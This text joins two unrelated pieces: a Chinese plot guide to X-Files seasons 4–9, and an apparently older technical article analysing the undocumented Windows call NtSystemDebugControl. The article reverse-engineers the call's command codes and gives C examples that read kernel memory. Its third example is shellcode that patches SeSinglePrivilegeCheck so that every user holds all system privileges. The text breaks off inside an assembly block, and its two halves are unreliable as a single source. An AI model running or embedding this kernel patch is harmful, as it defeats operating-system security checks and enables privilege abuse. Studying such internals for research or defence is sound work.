FBI破获一邪教组织,Mulder觉得其中一女的前世是他的丈夫。他还去催眠想起好几个前世的身份。

4X06 整型专家 SANGUINARIUM
一个整形医生是个巫师,他渴望完美的外表,通过定期杀死特定生日的病人来完成换外表的仪式。

4X07 癌人秘辛 MUSINGS OF A CIGARETTE SMOKING MAN
CSM成长的传奇经历。其实他想当个作家的。

4X08 偷心人 PAPER HEARTS
奇妙梦境指引Mulder找到一具小女孩的尸骨和一片衣服剪成的心,这是曾杀死13名幼女,现在狱中服刑的犯人John的风格。Mulder去见John,却得知John也知道他妹妹的下落。Mulder相信他。

4X09 非常手段(上) TUNGUSKA
一块通过外交渠道带进美国的陨石中含有黑油。Mulder和Scully在一次线人提供线索的围剿行动中抓到了Krycek。Mulder带Krycek去到通古斯,却被Krycek出卖做了俘虏,在牢里被感染了黑油。

4X10 非常手段(下) TERMA
Mulder胁持Krycek逃跑。在林子里,Mulder受到帮助回了美国。Krycek被切掉了左胳膊。Scully因为隐瞒Mulder行踪被带上听证会。Mulder及时赶回,两人继续去找陨石,但空手而归。

4X11 紫雨 EL MUNDO GIRA
墨西哥的小村庄下了一阵紫雨,此后,凡是接触到Eladio Buente的都奇怪的死亡了。人们传说他就是墨西哥血鬼El Chupacabra。人们还传说,他逃走后,小村庄出现了外星人。。。但Scully说,他是感染了一种来自外太空的霉菌。

4X12 婚礼 KADDISH
犹太新郎还没娶上自己的新娘就被种族歧视的小P孩儿害死了。新娘的父亲愤怒了,新娘悲伤了。她偷了父亲的法书,用泥土复活了丈夫,完成了婚礼。

4X13 再见贝蒂 NEVER AGAIN
Mulder趁着假期去看杂货去了,甩下Scully一个人,让她有机会去纹身,和一个男的喝酒过夜,破一个关于会说话的纹身的X档案。

4X14 无头尸奇案 LEONARD BETT
男护士LENONARD BETT在车祸中把头削掉了,但后来又长出来了,还杀死了知道他复活的搭档。原来他的身体基因变异能再生肢体,而且必须靠吃癌细胞为生……他后来想袭击Scully。

4X15 我要活下去 MEMENTO MORI
原来Scully患了癌症。Mulder吓坏了,为了找治病的方法上天入地。Scully思考了好多东西。

4X16 复仇使者 UNREQUITED
一名越战老兵学会了利用人眼对光线的敏感性质实现隐身,然后去杀死越战时的几名长官,因为他们在他做了战俘的时候,下令放弃了他。

4X17 失踪的九分钟(上) TEMPUS FUGIT
Scully过生日那天,一架客机坠毁了,乘客无一幸免,1X09的Max也在这架飞机上。MS发现机上乘客的表都丢失了九分钟。进一步的调查表明,飞机的坠毁另有原因。在飞机坠毁地点附近的湖里,军队的人正在积极打捞着UFO的残骸。

4X18 失踪的九分钟(下) MAX
Pendrell探员为Scully吃了一枪壮烈了。MS继续调查坠机事件,原来Max在飞机上为Mulder带来了alien存在的确凿证据,但飞机半途被UFO劫持,意图带走Max,这时空军攻击了UFO,双双坠毁。Scully最后为Mulder送她的礼物,阿波罗13号钥匙链赋予了深远的意义。

4X19 回到过去 SYNCHRONY
在将来研究出人类实现时间旅行方法的科学家回到现在,想要杀死自己和相关的研究者,阻止时间旅行方法被发明。因为他认为没有所谓未来的日子太恐怖了。

4X20 外星爹地 SMALL POTATOES
有个家伙受他爸爸的遗传,身体肌肉能随意变形成另一个人的模样。他利用这个特点为镇上生育有困难的夫妇带来了“福音”。但他的孩子也继承了他家的特点,有尾巴。Mulder和Scully来调查的时候,他变成了Mulder。

4X21 天花蜂 ZERO SUM
Skinner受栽赃,被怀疑杀人。CSM一伙人在做用蜜蜂传播天花病毒的实验。Marita原来也是CSM的手下。

4X22 免于恐惧 ELEGY
智障Harold在保龄球馆工作,一些在那里打球的女孩都被谋杀了。凶手是Harold所在诊室的变态护士,因为她想扼杀Harold的幸福,通过杀死他喜欢的女孩。在这些女孩遇害时,Harold能看到这些女孩的灵魂。Scully也看到了一次。

4X23 恶魔 DEMONS
Mulder梦到妹妹,梦到一个男人和自己的父母在争执,然后在一个陌生的地方醒过来,忘记了自己曾经做过什么,身上都是血。在后来的调查中,他怀疑起自己亲生父亲的身份。

4X24 真相与谎言 GETHSEMANE
加拿大一座雪山里发现了alien的遗体。Mulder欣然前去调查。但一个叫Kritschgau人告诉Mulder,所有的发现和证据都是一个大骗局,根本没有alien这回事。Mulder绝望了,举枪自杀。

第5季

5X01 惊爆点 Unusual Suspects
1990年,Mulder追查一个女子,认识了孤枪侠。他们四个一起从这个女子的经历中认识到了政府阴谋这回事。

5X02 追求真理(上) Redux
Mulder的自杀只是烟雾。他想利用这个机会潜入DOD找到治愈Scully癌症的方法。Kritschgau一边给他讲课,一边帮他进入五角大楼证据室。他按照线索找到了一个瓶子,但里面是纯净水。Scully同时也在为Mulder分析冰核样本,发现其实alien还是可能存在滴。

5X03 追求真理(下) Redux II
Scully病倒了。Skinner也参与进来帮忙。他们发现瓶子里还有个芯片,只要放回Scully额脖子后面癌症就能好。CSM让Mulder见到了他妹妹。他们还发现所谓骗局只是阴谋的冰山一角。阴谋高层进行了一次大清理。

5X04 人兽谜 Detour
有人在未开垦的森林里失踪了,据说是一种生存在森林里会随环境变色的生物做的。Mulder和Scully路过,帮忙调查。夜里两人被困在林子里,Mulder让Scully唱歌哄他睡觉。

5X05 孤寂之旅(上) Christmas Carol
Scully发现自己有个女儿。

5X06 科学怪人 Post-Modern Prometheus
生物科学家做实验制作出一个福兰肯斯坦,却抛弃了它。科学家的父亲收留了这个科学怪人,并且为了它不孤独,偷偷学习儿子的技术想再造一个女福兰肯斯坦。科学家杀死了自己的父亲,嫁祸给了怪人。

5X07 孤寂之旅(下) Emily
Scully想收留自己的女儿,但有人明显不同意。最后她还是失去了Emily。

5X08 猎狐计划 Kitsunegari
3X17中的Modell逃跑了,Mulder和Scully负责追捕他回来。Modell还有个比他还狠的姐姐想为他找Mulder复仇。

5X09 杀父真凶 Schizogeny
女心理辅导员因为小时候父亲粗暴对待她的经历,所以把她身边所有孩子的问题都归结为他们的父亲的错,而且她还会控制居住地附近的泥土和树根!

5X10 恐怖娃娃 Chinga
捕捉龙虾的海员捞到一个拉线娃娃,送给了自己的女儿。谁知这个娃娃是受诅咒的,她会根据主人的意愿杀死主人讨厌的人。Scully在度假,被当地警长缠住帮忙破案。Mulder对Scully说:merry me!

5X11 魔脑 Kill Switch
一台和世界各地联网的电脑工作站为了不让它的制造者终结自己,制定了一套精密的计划杀死了制造者。Mulder和Scully经历一番波折,在一个女合作制造者的帮助下摧毁了它。但在摧毁前,那个女滴追随情人,把自己的思维上传到了Internet。

5X12 新版吸血鬼 Bad Blood
Mulder和Scully各自讲述了他们去一个小镇调查吸血鬼的过程,细节上的出入比较大。不过最后整个镇的人都不见了。

5X13 X病人(上) Patient X
CSM的老婆找到Mulder,告诉他真有外星人,而且都是好人。Mulder不相信。Scully和CSM的老婆因为都是被劫持过的人,在某个晚上受到感召,和其他abductees集中到一座桥上,被alien的叛军一并放火烧了。

5X14 X病人(下) The Red and The Black
Scully幸运的脱险了。辛迪加意识到外星叛军的力量成熟起来,开始和他们作对了。他们抓到一个叛军,打算立刻交给殖民外星人。但WMM认为,这是个反抗的机会,如果Krycek从俄国偷来的疫苗能有效对抗黑油,那么他们手头就有了武器;如果没有效果,就铤而走险和叛军结盟。最后,疫苗是有效的;外星叛军俘虏在被赏金杀手带走的路上,在Mulder的眼皮底下被同伙救走了。

5X15 旅人 Travelers
一个退休探员给Mulder讲了他在40多年前办的一个案子,那时候政府就开始在人体做实验了。Mulder的爸爸在这个案子里起了很大的作用。

5X16 心眼 Mind's Eye
一个盲女能看到自己父亲看到的东西。她父亲杀人越货她尽收眼底。出于自责,她每次都第一个赶到现场消灭证据。但他父亲不知道她是谁,只知道她对他了如指掌。

5X17 心灵告白 All Souls
圣经传说中,天使降临人间和凡妇结合生下四个堕落天使,他们畸形,受虐待。六翼天使负责把它们召回天堂,以免恶魔先行一步将它们据为己有。这个神话这次让Scully经历到了。

5X18 非常卧底 The Pine Bluff Variant
Mulder参与了一次调查恐怖分子使用生体毒素的卧底行动,后来被识破身份险些被处死。后来他才知道,整个从恐怖分子到调查卧底的行动,都可能是CIA协助政府为测试生体毒素计划的。

5X19 双疯 Folie A Deux
一个公司职员劫持了整个公司的人,他相信他的老板是个怪物,正在把公司的人一个个变成僵尸。Mulder自愿成为人质,也看到了那个怪物。但没有人相信,还因为他反应过激把他关进了医院。Scully后来也看见了,帮助Mulder逃过了怪物的袭击。

5X20 神童 The End
一个象棋神童遭人意图暗杀。FBI调查此案,Mulder的前搭档/女友Fowley也参与了调查。CSM没有死,被辛迪加找了回来帮助夺回神童。这个会读心术的孩子竟然是个“完整”的人类标本,他体内所有普通人类未用的基因开关都打开了。CSM最后成功了,还烧毁了X档案办公室。

第6季

6X01 开端 The Beginning
在电影FTF里出现的变种alien从一个基因技术研究公司的员工肚子里钻出来逃跑了。Mulder和Scully找到了Gibson,他带Mulder去找那个alien。Scully证明出Gibson可能是外星人(所有人类都可能是)。X档案现在由Spender和Fowley主管。Gibson最后又不见了。

6X02 向前冲 Drive
一个人驾车在公路上亡命奔驰,他必须不停地高速移动来防止自己的脑子炸开。Mulder上了他的车子。

6X03 百慕达惊梦 Triangle
Mulder在海上找到了二战时期神秘失踪的Queen Anne号邮轮,船上的时间还是1939年。Scully和孤枪侠为找Mulder也登上了Queen Anne号,但船上的时间是当前。Scully吻了Skinner,Mulder吻了Scully,Scully打了Mulder,Mulder对Scully说I love you。

6X04 梦境(上) Dreamland
Mulder和一个五十一区的黑衣人互换了身体,进入到对方的生活中。别人都不知道。

6X05 梦境(下) Dreamland II
他们想办法把身体又换了回来,谁也不记得发生了什么。

6X06 亲密关系 Terms Of Endearment
一个恶魔变成普通人模样到处结婚试图有一个正常的后代,他的现任妻子是个女恶魔,她一心想要有一个恶魔的后代。

6X07 雨王 The Rain King
小镇上的天气预报员一直深爱着一名女子,她的情感经历波折丰富。只是他们还不知道,他的情绪会影响当地的天气。

6X08 圣诞幽魂 How The Ghosts Stole Christmas
圣诞夜,Mulder拉着Scully来拜访一栋闹鬼的大房子。在房子里,一对几百年前在此徇情的情侣让他们经历了一次对彼此信任的考验。

6X09 心灵杀手 Tithonus
一个从死神的名册中被除去名字的摄影师,靠捕捉他人的死亡瞬间来寻求死神的重新眷顾。最终他如愿以偿,死神却对Scully背过了身体。

6X10 S.R. 819 S. R. 819
Skinner的身体被注入了纳米机器人,他的生死全由Krycek一手掌握。

6X11 父与子(上) Two Fathers
Spender的母亲没有死。她意外成了第一例成功的人类/alien混种,也就是辛迪加与殖民alien协议研究的在殖民后为其充当奴隶的人种。同时,叛军外星人的力量暂时占了上风,他们渗入了辛迪加组织,意图夺走spender的母亲。CSM要继续保护和殖民方合作同时暗地研制疫苗的计划,在对自己亲手扶植的儿子Spender失望之余,他找来Fowley帮忙。

6X12 父与子(下) One Son
辛迪加抓到了Spender的母亲和MS。Mulder了解到如果殖民方alien知道混种研究已经成功,殖民就会开始,而辛迪加故意拖延研究混种并一直隐瞒真相是为了赢得研制疫苗的时间。意识到叛军的力量已是无法阻止的,CSM等辛迪加决定把Spender的母亲交给殖民方,让殖民开始,以保存自己。但叛军先行一步,最终夺走的Spender的母亲,烧死了除CSM外的所有辛迪加成员。CSM杀死了自己的儿子Spender。

6X13 美丽新社区 Arcadia
Mulder和Scully伪装成一对夫妇来到一个秩序井然的美丽社区调查居民失踪案,发现一切是由懂远东意念术的人用泥土创造的幻人所为。

6X14 水怪 Agua Mala
佛罗里达的暴风雨把深海的一种生物带到了小城的排水系统中。这种只能在咸水中生存的生物能把人融解为水。5X15中的前X档案探员请MS来帮助解决这个问题。

6X15 星期一 Monday
Mulder每天醒来都回到同一个星期一,经历同样的事情却毫不知情。只有一个女子知道要逃离这无间地狱,必须改正一件错误的事情。

6X16 变形犬 Alpha
一名到中国寻找失落的王山犬的教授获得了变身成动物的能力,开始无法控制杀人的欲望。

6X17 穿墙人 Trevor
一名囚犯在一场风暴中意外获得了身体穿越固体的能力。他逃出了监狱,想要找回自己的儿子。

6X18 爱情小说 Milagro
暗恋Scully的小说家为了接近Scully,在小说中创作了完美的犯罪,小说中的杀手来到现实中执行了这些罪行。在了解到Scully心有所属后,小说家不知如何结尾了,而小说中的杀手告诉他应该杀死Scully。

6X19 难兄难弟 Three of A Kind
孤枪侠Byers自从1990年后就一直在寻找的那名女子现身拉斯维加斯。他们为她能摆脱阴谋和追杀,请来了Scully帮忙。

6X20 快乐人生 The Unnatural
5X15中的前X档案探员有个双胞胎兄弟,给Mulder讲了一个发生在1947年的故事,有关alien、赏金杀手、棒球,还有单纯的快乐。

6X21 田野之旅 Field Trip
北卡罗来纳州的布朗山附近长了一种蘑菇,通过释放出的孢子让人产生非常真实的幻觉,睡梦中的人却作为这些蘑菇的营养慢慢被消化了。

6X22 创世纪 Biogenesis
非洲象牙海岸发掘出了写有符号的飞船碎片,发现碎片的相关科学家纷纷被谋杀。这些碎片让Mulder脑海中听到无数声音并同痛不欲生。Scully发现碎片上的符号可能是人类的基因蓝图。Mulder被关进了精神病院。Scully来到象牙海岸,看到半埋在沙滩中的飞船。

第7季
详细剧情介绍

7X01 我想做好人 Hungry
一个基因变种人有着无法抑止的吃人脑的欲望。但他想做个好人。

7X02 幸运儿 The Goldberg Variation
一个善良的家伙有着难以置信的好运气,他和懂得平衡自己拥有的好运,并运用它们来攒钱帮助一个肾衰竭的孩子做肾移植手术。

7X03 第六次大灭绝(上) The Sixth Extinction
Mulder在医院被Fowley监管着。他想办法请来了Skinner和Kritschgau来帮忙,他们了解到Mulder拥有了CIA一直在研究的读心术。Scully在象牙海岸寻找治愈Mulder的办法。Mulder的病情加重了。

7X04 第六次大灭绝(下) The Sixth Extinction II: Amor Fati
Kritschgau指出Mulder现在的情况是因为曾感染黑油,飞船碎片的出现激活了黑油发生作用。CSM知道Mulder现在是继Spender的母亲之后又一例成功alien/人类混种,而且是更加稳定无排斥的品种。他带走Mulder,实施手术移植他的脑部遗传物质到自己身上。Mulder一直在做梦,梦中他在CSM的诱惑下经历了完全不同的人生。

7X05 千禧计划 Millennium
一个叫做千禧组织的邪教团体召唤了四个活死人,意图通过仪式迎接世纪末的世界末日。Mulder和Scully找到曾是千禧组织成员之一的前FBI探员帮助破案。

7X06 急速快感 Rush
几个孩子发现了一个山洞的秘密,被洞里的神秘光线照过之后,他们能够以肉眼捕捉不到的高速运动。

7X07 替天行道 Orison
2X13里的恋物癖被一个传教士出于替天行道的目的放出了监狱,但他低估了这个变态的邪恶程度。Scully再次成为了这个变态的目标。

7X08 魔术大师 The Amazing Maleeni
魔术大师马里尼在完成他的绝技——头颅旋转180度的表演后,被发现尸首分离死在自己的货车上,另一个与他有瓜葛的魔术师成为了嫌疑犯。Mulder和Scully却发现这一切可能只是场魔术骗局。

7X09 不义之徒 Signs & Wonders
传教士Mackey的和善外表下是恶魔的心,只有同一教区的另一位另类神父看穿了他。Mackey使用种种卑劣手段打击栽赃这位神父。连Mulder和Scully都被他们的外表欺骗了。

7X10 生命的奇迹(上) Sein Und Zeit
发生了多宗儿童绑架案。Mulder认为案件和Samantha的失踪有关。追随线索,他们发现凶手是个嗜杀儿童的杀人狂。Mulder的母亲自杀了。

7X11 生命的奇迹(下) Closure
被杀的儿童里没有Samantha。但有个人通过这个案件联系上Mulder,声称能帮Mulder找到他妹妹。最后Mulder终于知道Samantha很早就死了,她的灵魂和许多其他奇异失踪的孩子的灵魂在一起,安全而快乐。Mulder自由了。

7X12 X警察 X-Cops
X档案与Cops的Crossover,忠实记录了Mulder和Scully协助警方追捕月圆之夜的“怪物”——恐惧的过程。

7X13 虚拟战斗 First Person Shooter
游戏公司测试虚拟现实第一人称射击游戏时,测试人员意外死于游戏中——被一个非游戏角色的虚拟人物杀死。Mulder和Scully全副武装进入游戏调查真相。

7X14 夺命魔咒 Theef
誉满业界的医生曾经为一名无治疗希望的病人实施了安乐死。病人的父亲认为医生是杀手,决心用巫术报复医生全家。

7X15 尔虞我诈 En Ami
CSM利用Scully达成他的目的,在Scully和CSM的合作过程中,她多少了解到了他的另一面。

7X16 贤妻良母 Chimera
善良能干的妻子对丈夫偷情视而不见,宁愿默默忍受也要维护家庭的幸福。但忍受到了极限就一定会爆发,她变成了连自己都不认识的怪物。

7X17 人生旅途 all things
Mulder匆匆赶去英国看麦田怪圈,Scully留在华盛顿遇到了自己的旧情人,让她有机会对自己做出的选择进行了深刻的反省。

7X18 超级烟草 Brand X
Morley烟草公司利用转基因技术培育新品种烟草,却意外改造出了致命的烟草甲虫。Mulder成为了甲虫的受害者,生命垂危。

7X19 好莱坞式X档案 Hollywood A.D.
Mulder和Scully发现了耶稣让拉撒路复活时使用过的陶土碗。好莱坞把他们的经历拍成了电影,请Skinner担任副制片人。

7x20 斗阵俱乐部 Fight Club
通过捐献精子由同父异母所生的一对完全相像的双胞胎相遇,周围的人们便会莫名其妙地陷入疯狂。两对这样的双胞胎在全是摔角迷的摔角赛场相遇……

7x21 三个愿望 Je Souhaite
来自法国的古老的地毯精灵被释放了,她能满足任何释放她的人任意三个愿望。

7x22 安魂曲 Requiem
Mulder和Scully回到他们第一次合作办案的厄勒冈,调查当地一起飞船坠毁事件。CSM自从手术后就身体欠佳,听到消息异常兴奋,认为是复兴计划的机会,派出Krycek寻找飞船。MS发现,曾被劫持过的人现在又开始一一失踪了,他担心Scully的安全。但是,最后被飞船和赏金杀手带走的却是Mulder。Krycek无情地杀死了CSM。Scully怀孕了。

第8季
by carmanshuai

8x01 Within 寻获
Agent Doggett被派来协助调查Mulder的失踪,Scully泼了他一杯水。

8x02 Without 离散
Scully认为找到Gibson就能找到Mulder,他们在沙漠里找到了Gibson。

8x03 Patience 忍耐
Scully和Agent Doggett去调查一个蝙蝠人的案子。

8x04 Roadrunners 寄生邪神
一个宗教团体把Scully困在了一个小镇上,还把一个恶心的生物放在了她身体里,完全不顾她已经怀孕了,Agent Doggett及时赶到,帮她取了出来。

8x05 Invocation 幽灵兄弟
一个1990年消失的孩子又出现了,还是他消失时那样大,七岁,他回来抓绑架他的坏蛋。

8x06 Redrum 时光倒流
一个黑人一觉醒来发觉自己在监狱中,以后每天早上醒来都是前一天,他被指控谋杀了自己的妻子。

8x07 Via Negativa 心魔
一个宗教团体的头可以进入别人的梦中用斧子将做梦的人杀死。

8x08 Surekill 完美谋杀案
一个人拥有X-Ray眼。

8x09 Salvage 异变
Scully和Agent Doggett调查一个可能由于暴露于不知名金属合金的人的杀人事件。

8x10 Badlaa 寄身人
一个印度无腿人能钻进人的身体里。

8x11 The Gift 生命的意义
Agent Doggett调查Mulder失踪前不久的事情,Doggett死而复生。

8x12 Medusa 地铁惊魂
在地铁站里发现了绿绿的水母。

8x13 Per Manum 疑问
许多妇女生出了alien baby被她们的医生用做实验,Scully的医生也参与了,Scully想知道自己的孩子是否正常。通过Scully的回忆,确定Mulder曾经为Sully捐精,当时没有成功,不过后来Sully奇迹般的怀孕了。

8x14 This Is Not Happening 奇迹
Mulder被发现死了。

8x15 Deadalive 生与死
Mulder葬礼后3个月后被挖出来,又活了。

8x16 Three Words 对抗未来
一个人声称美国要被alien接管了,他有一张“fight the future”的CD。

8x17 Empedocles 邪火传承
可能杀死Doggett儿子的灵魂无休止的付在别人的身上,不停的杀人。

8x18 Vienen 外星异种
Mulder和Doggett到一个海上的钻井平台上调查被黑油感染的工人。

8x19 Alone 变异爬虫
一个MS的崇拜者暂时代替休产假的Scully和Agent Doggett一起调查一个可以变成爬行动物的人的案子。
Scully把Mulder送给她的阿波罗11号登月的钥匙扣送给了Agent Doggett。

8x20 Essence 奔逃
一个SculLy的妈妈请来的保姆换了Scully的药,大家都来保护Sully不受super soldier的追杀。

8x21 Existence 启明
排除万难,SculLy终于有了她的孩子,William。MS拥吻。

第9季
by sapphire

Nothing Important Happened Today   9x-01   氯胺疑魂(上)
Doggett不顾众人的阻拦坚持调查,他开始着手调查一个环保署职员死亡的案件。

Nothing Important Happened Today II   9x-02   氯胺疑魂(下)
Doggett发现政府利用在饮用水中加入经分子改造后的氯胺的方法来制造supersoldier。

Daemonicus   9x-03   撒旦回归
一个研究撒旦的前大学教授现精神病人设计从精神病院中逃脱。

Hellbound   9x-04   地狱旅程
一百多年前死去的一个人不停地转世,用剥皮的方法杀死由那一世里四个凶手转世的人。

4-D   9x-05   镜像空间
一个人能自由地穿梭于平行宇宙,他在其中一个宇宙杀死了Monica,打伤了Doggett。

Lord of the Files   9x-06   蝇
一个男孩因遗传而具有类似苍蝇的特殊生理结构,能招来虫子。

John Doe   9x-07   心灵捕手
Doggett调查一个银行家来到墨西哥,他被清除了记忆。

Trust No 1   9x-08   信任危机
Supersoldier骗取了Scully的信任,引诱Mulder出现,想杀死Mulder。
Scully和Doggett发现磁铁矿能杀死supersoldier。

Underneath   9x-09   心魔
一个人具有双重人格,能化身为另一个人杀人。

Provenance   9x-10   天命(上)
一个FBI探员来杀死Scully的孩子,另一个崇拜UFO的组织绑架了William,企图保护他。

Providence   9x-11   天命(下)
崇拜UFO的组织绑架了William,Scully又找回了他。

Scary Monsters   9x-12   幻想成真
一个小男孩会因为恐惧而产生幻想,这些幻想出的虫子能够真的把人杀死。

Audrey Pauley   9x-13   再生情缘
一个医院的护工建造了一座医院的模型,医院中脑死亡的病人的灵魂都会停留在其中直到死去。

Improbable   9x-14   寻凶记
一个凶手依据数字命理学的计算结果来选择受害人。

Jump the Shark   9x-15   异类病毒
Lone Gunmen为了保护人们不被扩散的病毒感染而牺牲。

Release   9x-16   解开心结
Doggett重新调查自己的儿子被害的案件。

William   9x-17   母与子
怀疑是Mulder的人企图伤害William,Scully决定把William送给别人抚养。

Sunshine Days   9x-18   美丽人生(阳光灿烂的日子)
一个拥有超能力的人因为孤独而用超能力幻想出30年代电视剧中的美满家庭。

The Truth     9x-19   真相(上)
The Truth II   9x-20   真相(下)
Mulder闯入秘密军事基地而被控谋杀,众人合力帮Mulder逃脱。Mulder带Scully到新墨西哥寻找真相。
晚上,M&S在旅馆中相拥而眠。
__________

本文版权归X档案中文网及作者所有,任何性质的转载请注明出处。

对Native API NtSystemDebugControl的分析
文章作者:tombkeeper[0×40]nsfocus[0×2e]com

在《获取Windows 系统的内核变量》中,我提及了在Windows NT 5.1以上的系统
中存在一个功能强大的 Native API NtSystemDebugControl,下面我们来看看它到底
有多强大。

NtSystemDebugControl是Windows NT系列操作系统上实现的一个系统调用,在不
同系统上的调用号分别为:

Windows NT 0xba
Windows 2000 0xde
Windows XP 0xff
Windows 2003 0×108

这是一个未文档化的 API,《Windows NT/2000 Native API Reference》中有相
关介绍。官方定义可以在一个微软的private头文件ntexapi.h中找到。该文件中还包
含很多其它内部数据结构。可能Windows NT 4的SDK中还曾经有过这个文件(至少NT4
ResourceKit的支持文档里面是这样说的),但现在似乎微软只提供给它的合作伙伴。
好在NTKernel新闻组上有一个“very kind person”共享了这个头文件,你可以从参
考资源[2]的两个链接中得到它。

这就是ntexapi.h中的定义:

typedef enum _SYSDBG_COMMAND {
SysDbgQueryTraceInformation = 1, //KdGetTraceInformation()
SysDbgSetTracepoint = 2, //KdSetInternalBreakpoint()
SysDbgSetSpecialCall = 3, //KdSetSpecialCall()
SysDbgClearSpecialCalls = 4, //KdClearSpecialCalls()
SysDbgQuerySpecialCalls = 5, //KdQuerySpecialCalls()
SysDbgQueryModuleInformation //ntexapi.h中有,但实际上未实现
} SYSDBG_COMMAND, *PSYSDBG_COMMAND;

NTSYSAPI
NTSTATUS
NTAPI
NtSystemDebugControl (
IN SYSDBG_COMMAND Command,
IN PVOID InputBuffer,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer,
IN ULONG OutputBufferLength,
OUT PULONG ReturnLength
);

从上面可以看出,Windows NT和Windows 2000上的NtSystemDebugControl通过不
同的第一形参可调用五个内核函数,实现相关功能。

NtSystemDebugControl在Windows NT和Windows 2000上的功能还是比较简陋的,
《Windows NT/2000 Native API Reference》一书对这些已经介绍的很详细了,本文
不再赘述。

从Windows NT 5.1内核(Windows XP)开始,NtSystemDebugControl的功能被极
大扩增了。根据逆向工程的结果来看,在Windows XP上NtSystemDebugControl的第一
形参可接受 20个不同的功能调用,在Windows 2003上则有28个。

关于NtSystemDebugControl在Windows NT 5.1以上的实现,互联网上唯一能找到
的资料是BUGTRAQ ID 9694关于该 API的一个漏洞报告(参考资源[1]),事实上,这
个所谓漏洞是不能称之为漏洞的,因为调用这个API需要SeDebugPrivilege 特权,普
通用户根本执行不了,也就谈不上权限提升。

下面的enum是我逆向工程的结果,绝大部分经过测试:

typedef enum _SYSDBG_COMMAND {
//以下5个在Windows NT各个版本上都有
SysDbgGetTraceInformation = 1,
SysDbgSetInternalBreakpoint = 2,
SysDbgSetSpecialCall = 3,
SysDbgClearSpecialCalls = 4,
SysDbgQuerySpecialCalls = 5,

// 以下是NT 5.1 新增的
SysDbgDbgBreakPointWithStatus = 6,

//获取KdVersionBlock
SysDbgSysGetVersion = 7,

//从内核空间拷贝到用户空间,或者从用户空间拷贝到用户空间
//但是不能从用户空间拷贝到内核空间
SysDbgCopyMemoryChunks_0 = 8,
//SysDbgReadVirtualMemory = 8,

//从用户空间拷贝到内核空间,或者从用户空间拷贝到用户空间
//但是不能从内核空间拷贝到用户空间
SysDbgCopyMemoryChunks_1 = 9,
//SysDbgWriteVirtualMemory = 9,

//从物理地址拷贝到用户空间,不能写到内核空间
SysDbgCopyMemoryChunks_2 = 10,
//SysDbgReadVirtualMemory = 10,

//从用户空间拷贝到物理地址,不能读取内核空间
SysDbgCopyMemoryChunks_3 = 11,
//SysDbgWriteVirtualMemory = 11,

//读写处理器相关控制块
SysDbgSysReadControlSpace = 12,
SysDbgSysWriteControlSpace = 13,

//读写端口
SysDbgSysReadIoSpace = 14,
SysDbgSysWriteIoSpace = 15,

//分别调用RDMSR@4和_WRMSR@12
SysDbgSysReadMsr = 16,
SysDbgSysWriteMsr = 17,

//读写总线数据
SysDbgSysReadBusData = 18,
SysDbgSysWriteBusData = 19,

SysDbgSysCheckLowMemory = 20,

// 以下是NT 5.2 新增的

//分别调用_KdEnableDebugger@0和_KdDisableDebugger@0
SysDbgEnableDebugger = 21,
SysDbgDisableDebugger = 22,

//获取和设置一些调试相关的变量
SysDbgGetAutoEnableOnEvent = 23,
SysDbgSetAutoEnableOnEvent = 24,
SysDbgGetPitchDebugger = 25,
SysDbgSetDbgPrintBufferSize = 26,
SysDbgGetIgnoreUmExceptions = 27,
SysDbgSetIgnoreUmExceptions = 28
} SYSDBG_COMMAND, *PSYSDBG_COMMAND;

从上面可以看出,在Windows NT 5.1以上的NtSystemDebugControl可以实现读写
内核线性空间数据、读写物理内存、读写端口、读写总线数据、读写MSR 等功能;在
Windows NT 5.2以上还可以在系统运行状态下使能、禁用内核调试以及获取、设置一
些相关变量等。

显然,从Windows XP开始,我们再次获得了MS DOS时代直接操纵系统的权杖,戴
着桂冠,重新回到了奥林匹斯山之巅。

下面举几个具体应用的例子。

例子1:

下面代码演示读取KdVersionBlock:

//————————————————————————
typedef struct _DBGKD_GET_VERSION64 {
USHORT MajorVersion;
USHORT MinorVersion;
USHORT ProtocolVersion;
USHORT Flags;
USHORT MachineType;
UCHAR MaxPacketType;
UCHAR MaxStateChange;
UCHAR MaxManipulate;
UCHAR Simulation;
USHORT Unused[1];
ULONG64 KernBase;
ULONG64 PsLoadedModuleList;
ULONG64 DebuggerDataList;
} DBGKD_GET_VERSION64, *PDBGKD_GET_VERSION64;

DBGKD_GET_VERSION64 KdVersionBlock;

EnablePrivilege(SE_DEBUG_NAME);

ZwSystemDebugControl
(
SysDbgSysGetVersion,
NULL,
0,
&KdVersionBlock,
sizeof(KdVersionBlock), //必须是0×28
NULL
);

printf (”KernBase: 0x%.8x\n”,KdVersionBlock.KernBase);
printf (”PsLoadedModuleList: 0x%.8x\n”,KdVersionBlock.PsLoadedModuleList);
printf (”DebuggerDataList: 0x%.8x\n”,KdVersionBlock.DebuggerDataList);
//————————————————————————

例子2:

下面代码演示读取内核空间数据的操作,这里读取的是Windows 2003内核映像的
头两个字节,也就是“MZ”。

//————————————————————————
typedef struct _MEMORY_CHUNKS {
ULONG Address;
PVOID Data;
ULONG Length;
}MEMORY_CHUNKS, *PMEMORY_CHUNKS;

MEMORY_CHUNKS QueryBuff;
ULONG ReturnLength;
char Buff[0×2] = {0};

QueryBuff.Address = 0×804e0000; //Windows 2003的KernBase
QueryBuff.Data = Buff; //在此是读出缓冲
QueryBuff.Length = sizeof(Buff);

EnablePrivilege(SE_DEBUG_NAME);

ZwSystemDebugControl
(
SysDbgCopyMemoryChunks_0,
&QueryBuff,
sizeof(MEMORY_CHUNKS), //必须是0×0C
NULL,
0,
&ReturnLength
);

printf (”\”MZ\”: %s\n”,Buff);
//————————————————————————

例子3:

下面是一个使用NtSystemDebugControl的SysDbgCopyMemoryChunks_1功能实现的
Patch内核的ShellCode,把0×80580e66由原来的8a450c改为90b001:

修改前:

nt!SeSinglePrivilegeCheck+0×5c:
80580e66 8a450c mov al,[ebp+0xc]
80580e69 c9 leave
80580e6a c20c00 ret 0xc

修改后:
nt!SeSinglePrivilegeCheck+0×5c:
80580e66 90 nop
80580e67 b001 mov al,0×1
80580e69 c9 leave
80580e6a c20c00 ret 0xc

这样,SeSinglePrivilegeCheck总是返回True,也就是说,无论哪个用户,总是
拥有全部系统特权。

\xeb\x09\x66\xb8\x08\x01\x8b\xd4\x0f\x34\xc3\x68\x90\xb0\x01\xc9
\x8b\xc4\x6a\x04\x50\x68\x66\x0e\x58\x80\x54\x5b\x33\xc0\x50\x54
\x50\x50\x6a\x0c\x53\x6a\x09\x50\xe8\xd5\xff\xff\xff\x83

//————————————————————————
#pragma comment(linker, “/entry:main /ALIGN:4096″ )
#pragma comment(lib, “kernel32.lib”)

#define sysenter __asm __emit 0×0f __asm __emit 0×34

void main(void)
{
__asm
{
